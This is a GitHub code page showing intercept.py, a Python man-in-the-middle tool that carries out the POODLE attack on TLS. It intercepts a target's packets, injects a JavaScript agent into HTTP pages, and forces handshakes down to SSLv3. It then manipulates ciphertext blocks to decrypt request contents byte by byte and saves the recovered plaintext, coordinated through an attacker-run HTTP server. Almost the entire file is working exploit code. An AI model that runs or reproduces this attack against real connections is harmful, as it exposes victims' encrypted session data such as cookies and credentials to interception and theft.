-
Notifications
You must be signed in to change notification settings - Fork 7
/
intercept.py
executable file
·431 lines (342 loc) · 14.5 KB
/
intercept.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
#!/usr/bin/env python3
from netfilterqueue import NetfilterQueue
from scapy.all import *
from scapy_http.http import *
import json
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
import threading
import time
from reprint import output
import os
DEBUG = False
# Track sessions using src_port as key
sessions = {}
class Session:
def __init__(self, src_port):
self.downgrade_needed = True
self.src_port = src_port
self.ciphertext = None
self.last_seq = None
self.block = None
# Need to get the server IP from DNS response
server_ip = None
server_ip = '108.188.248.132' # temp
# For block_size stage
ciphertext_length = 0
data_padding_size_needed = 0
block_size = None
# For exploit stage
block_to_move = 1
current_offset = 0
secret = {}
count = 0
number_of_requests = {}
dns_mapping = {}
request_length_count = {}
option_request_length = None
post_request_length = None
option_response_length = None
skip_first_response = True
load_layer('tls')
config = json.load(open('config.json'))
log_file = open('intercept.log', 'w')
# Load the variables into the JavaScript agent that will be run on the target
js_client_html = open('poodle.js', 'r').read()
js_client_html = js_client_html.replace('attackerIp', '"' + config['attacker'] + '"').replace('targetUrl', '"https://' + config['server'] + '"').replace('\n', '').replace('\r', '').replace('\t', '')
def get_field(layer, field_name):
return layer.get_field(field_name).i2repr(layer, getattr(layer, field_name))
def copy_block_to_end(arr, copy_index):
return arr[:-block_size] + arr[copy_index:(copy_index+block_size)]
def modify_and_send_packet(packet, pkt):
del pkt[IP].chksum
del pkt[TCP].chksum
pkt[IP].len = len(pkt)
packet.set_payload(bytes(pkt))
packet.accept()
def log(text):
if DEBUG:
print(text)
log_file.write(text + '\n')
with output(output_type='list', initial_len=6) as output_list:
output_list[0] = 'Waiting for agent...'
def get_current_index():
if block_size:
return ((block_to_move + 1) * block_size) - current_offset
return 0
def print_state(ciphertext_length = None, math_str = None):
if not DEBUG:
update_state_progress()
output_list[2] = "Last Byte Decrypted: {}".format(math_str) if math_str is not None else ''
plaintext = repr(''.join([ chr(secret[i]) if i in secret else '.' for i in range(ciphertext_length) ])) if ciphertext_length is not None else '......'
output_list[3] = "Decrypted Plaintext: {}".format(plaintext)
percent_complete = len(secret) / ciphertext_length if ciphertext_length is not None else 0
segment = int(percent_complete * 50)
progress_bar = ("#" * segment) + (" " * (50-segment))
output_list[4] = "Progress: [{}] {}%".format(progress_bar, int(percent_complete*100))
if len(number_of_requests) > 0:
output_list[5] = "Average number of requests: {}".format(sum(number_of_requests.values()) / len(number_of_requests))
else:
output_list[5] = "Average number of requests: N/A"
def update_state_progress():
if not DEBUG and block_size is not None and post_request_length is not None:
output_list[0] = "Block Size: {}, POST Request length: {}".format(block_size, post_request_length) + (", OPTION Request length: {}".format(option_request_length) if option_request_length is not None else "")
current_index = get_current_index()
try:
output_list[1] = "Working on decrypting byte {} - Request #{}".format(current_index, number_of_requests[current_index])
except:
pass
def callback(packet):
global block_size
global block_to_move
global ciphertext_length
global data_padding_size_needed
global sessions
global option_request_length
global post_request_length
global option_response_length
global skip_first_response
global current_offset
global dns_mapping
global server_ip
global number_of_requests
global request_length_count
pkt = IP(packet.get_payload())
# Javacript HTTP injection not quite working
# TODO: Fix
if HTTP in pkt and config['injectJS']:
# On outgoing HTTP requests, make sure there is no compression or caching
if pkt.src == config['target']:
log("Sending request to " + pkt.dst)
raw_http = pkt['HTTP']['Raw'].load.decode('utf8')
if 'GET' in raw_http and len(raw_http) > 0:
encoding_pattern = 'Accept-Encoding: ([a-z-,]+)'
encoding_match = re.search(encoding_pattern, raw_http)
if encoding_match is not None:
raw_http = raw_http.replace(encoding_match.group(), 'Accept-Encoding: identity')
else:
index = raw_http.find('\r\n\r\n')
if index > 0:
raw_http = raw_http[:index] + '\r\nAccept-Encoding: identity' + raw_http[:index]
cache_pattern = 'Cache-Control: ([a-z-=0-9]+)'
cache_match = re.search(cache_pattern, raw_http)
if cache_match is not None:
raw_http = raw_http.replace(cache_match.group(), 'Cache-Control: no-cache')
else:
index = raw_http.find('\r\n\r\n')
if index > 0:
raw_http = raw_http[:index] + '\r\nCache-Control: no-cache' + raw_http[:index]
#pkt[HTTP][Raw].load = bytes(raw_http, 'utf8')
log("Sent: " + str(raw_http))
modify_and_send_packet(packet, pkt)
return
#pkt.getlayer(HTTP).getlayer(Raw).load = bytes(str(pkt.getlayer(HTTP).getlayer(Raw).load).replace('Accept-Encoding: gzip', 'Accept-Encoding: identity').replace('Cache-Control' + str(pkt['HTTP']['HTTP Request'].fields['Cache-Control']), 'Cache-Control: no-cache'))
# pkt.getlayer(HTTP).show()
#str_headers = str(pkt['HTTP']['HTTP Request'].fields['Headers'])
#pkt['HTTP']['HTTP Request'].fields['Accept-Encoding'] = 'identity'
#pkt['HTTP']['HTTP Request'].fields['Cache-Control'] = 'no-cache'
#str_headers = str_headers.replace('Accept-Encoding: ' + str(pkt['HTTP']['HTTP Request'].fields['Accept-Encoding']), 'Accept-Encoding: identity').replace('Cache-Control' + str(pkt['HTTP']['HTTP Request'].fields['Cache-Control']), 'Cache-Control: no-cache')
#pkt['HTTP']['HTTP Request'].fields['Headers'] = str_headers
# On return packets, inject the JS client
elif pkt.dst == config['target'] and HTTP in pkt:
raw_http = pkt[HTTP][Raw].load.decode('utf8').replace('\\r\\n', '')
index = raw_http.find('</body>')
if index > 0:
raw_http = bytes(raw_http[:index] + js_client_html + raw_http[index:], 'utf8')
#pkt[HTTP][Raw].load = raw_http
modify_and_send_packet(packet, pkt)
else:
packet.accept()
return
if pkt.src == config['target'] and pkt.dst == server_ip and pkt.haslayer(TLS):
log("TLS Type: {}".format(get_field(pkt.getlayer(TLS), 'type')))
# TLS Downgrade
if TLS in pkt and get_field(pkt['TLS'], 'version') != 'SSLv3':
# Change the client handshake to offer SSLv3
if get_field(pkt.getlayer(TLS), 'type') == "handshake":
# 0x0300 is SSLv3
pkt[TLS].version = 0x0300
pkt[TLS]['TLS Handshake - Client Hello'].version = 0x0300
# Otherwise, if we are sending data over TLS, just end the connection
else:
pkt[TCP].flags = 'FA'
pkt[TCP].len = 0
pkt[TCP].remove_payload()
modify_and_send_packet(packet, pkt)
return
src_port = pkt['TCP'].sport
session = sessions[src_port] if src_port in sessions else Session(src_port)
# Modify retransmissions
if session.ciphertext is not None and bytes(pkt)[-block_size:] == session.ciphertext[-block_size:]:
new_bytes = bytes(pkt)[:-block_size] + session.block
modify_and_send_packet(packet, IP(new_bytes))
return
sessions[src_port] = session
if TLS in pkt and get_field(pkt.getlayer(TLS), 'type') == "application_data":
# Need to make sure that the packets are sent by our JS agent, and one thing our JS agent does is send the same packets over and over...
request_length_count[len(pkt)] = request_length_count[len(pkt)] + 1 if len(pkt) in request_length_count else 1
if request_length_count[len(pkt)] < 5:
packet.accept()
return
# Don't modify pre-flight check
if config["skipOptions"] and (option_request_length is None or (post_request_length is not None and len(pkt) < post_request_length)):
log("Skipping OPTION Request")
if option_request_length is None:
log("OPTION Request Length: " + str(len(pkt)))
option_request_length = len(pkt)
packet.accept()
return
elif post_request_length is None:
log("POST Request Length: " + str(len(pkt)))
post_request_length = len(pkt)
# Stage 1: The JS client is sending packets of increasing length
if block_size is None:
log("Got request length " + str(len(pkt)))
if ciphertext_length > 0:
if len(pkt) > ciphertext_length:
block_size = len(pkt) - ciphertext_length
print_state(ciphertext_length)
log("Found block size: " + str(block_size))
# Get amount of padding needed by looking back and seeing how many requests were made before the first jump in request size
current_len = len(pkt)
while (current_len - block_size) in request_length_count:
current_len -= block_size
data_padding_size_needed = request_length_count[current_len]
log("Found padding length: " + str(data_padding_size_needed))
else:
ciphertext_length = len(pkt)
# Stage 2: The JS client is sending the same packet repeatedly and waiting for us to decrypt it
else:
if len(pkt) > post_request_length:
log("New POST Request Length: " + str(len(pkt)))
post_request_length = len(pkt)
if get_current_index() in number_of_requests:
number_of_requests[get_current_index()] += 1
update_state_progress()
log("Copying block to end")
start_index = block_size * block_to_move
tls_data_start_index = ([i + 5 for i in range(len(bytes(pkt))) if list(bytes(pkt))[i:i+3] == [0x17, 0x03, 0x00]])[-1]
session.ciphertext = bytes(pkt)[tls_data_start_index:]
log("tls_data_start_index: " + str(tls_data_start_index))
log("start_index: " + str(start_index))
new_bytes = copy_block_to_end(bytes(pkt), tls_data_start_index + start_index)
session.block = new_bytes[-block_size:]
modify_and_send_packet(packet, IP(new_bytes))
return
elif pkt.src == server_ip and pkt.dst == config['target'] and 'TLS' in pkt and block_size is not None:
# If we get success (data instead of alert), do math to get byte
if get_field(pkt.getlayer(TLS), 'type') == "application_data" and pkt['TCP'].dport in sessions:
# The first response that ends up here will be the response to the last block length query, so need to ignore it
if skip_first_response:
skip_first_response = False
packet.accept()
return
# Ignore response to pre-flight check
if config["skipOptions"] and (option_response_length is None or len(pkt) == option_response_length):
log("Skipping OPTION Response")
if option_response_length is None:
log("OPTION Response length: " + str(len(pkt)))
option_response_length = len(pkt)
packet.accept()
return
session = sessions[pkt['TCP'].dport]
ciphertext = session.ciphertext
del sessions[pkt[TCP].dport]
if ciphertext is not None:
previous_block_last_byte = ciphertext[((block_to_move) * block_size) - 1]
last_block_last_byte = ciphertext[-block_size - 1]
decrypted_byte = (block_size - 1) ^ previous_block_last_byte ^ last_block_last_byte
decrypted_byte_index = ((block_to_move + 1) * block_size) - current_offset - 1
# Store what was learned
secret[decrypted_byte_index] = decrypted_byte
if decrypted_byte_index == ciphertext_length - 1:
log_result_and_end()
# Reset all sessions
sessions = {}
print_state(len(ciphertext), "{} = {} ^ {} ^ {}".format(decrypted_byte, block_size - 1, previous_block_last_byte, last_block_last_byte))
else:
log("ciphertext is None")
else:
log("TLS Type: {}".format(get_field(pkt.getlayer(TLS), 'type')))
# Try to get server IP address from the dns name given in the config file and the DNS traffic we've intercepted
elif server_ip is None and pkt.dst == config['target'] and DNS in pkt:
resource = pkt[DNS]['DNS Resource Record']
while resource is not None:
dns_mapping[get_field(resource, 'rrname')] = get_field(resource, 'rdata')
if 'DNS Resource Record' in resource.payload:
resource = resource.payload['DNS Resource Record']
else:
resource = None
track = config['server']
while not track.replace('.', '').isnumeric() and track in dns_mapping:
track = dns_mapping[track]
if track.replace('.', '').isnumeric():
server_ip = track
pass
# parse DNS response and get server_ip
packet.accept()
class Handler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
log(format.format(*args))
def add_headers(self):
self.send_header("Content-type", "text/plain")
self.send_header('Access-Control-Allow-Origin', '*')
def do_GET(self):
global block_size
global data_padding_size_needed
global current_offset
global block_to_move
global number_of_requests
content = None
while block_size == None:
time.sleep(0.1)
if self.path == '/blocksize':
output_list[0] = 'Finding Block Size...'
content = bytes(str(block_size) + " " + str(int(data_padding_size_needed + 1)), 'utf8')
elif self.path == '/offset':
for i in range(block_size):
if ((block_to_move + 1) * block_size) - i - 1 not in secret:
current_offset = i
content = bytes(str(i), 'utf8')
break
if content == None:
block_to_move += 1
current_offset = 0
content = bytes('0', 'utf8')
number_of_requests[get_current_index()] = 0
else:
self.send_error(404, "Endpoint does not exist")
return
self.send_response(200)
self.send_header('Content-Length', len(content))
self.add_headers()
self.end_headers()
self.wfile.write(content)
class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
pass
web_server = ThreadingSimpleServer(('0.0.0.0', 80), Handler)
web_server_thread = threading.Thread(target=web_server.serve_forever)
nfqueue = NetfilterQueue()
nfqueue.bind(0, callback)
# Called when entire request is decrypted
def log_result_and_end():
global secret
global ciphertext_length
plaintext = repr(''.join([ chr(secret[i]) if i in secret else '.' for i in range(ciphertext_length) ]))
out_file = open('plaintext.txt', 'w')
out_file.write(plaintext)
out_file.close()
nfqueue.unbind()
web_server.shutdown()
web_server_thread.join()
log_file.close()
os._exit(0)
try:
web_server_thread.start()
nfqueue.run()
except KeyboardInterrupt:
pass
nfqueue.unbind()
web_server.shutdown()
web_server_thread.join()
log_file.close()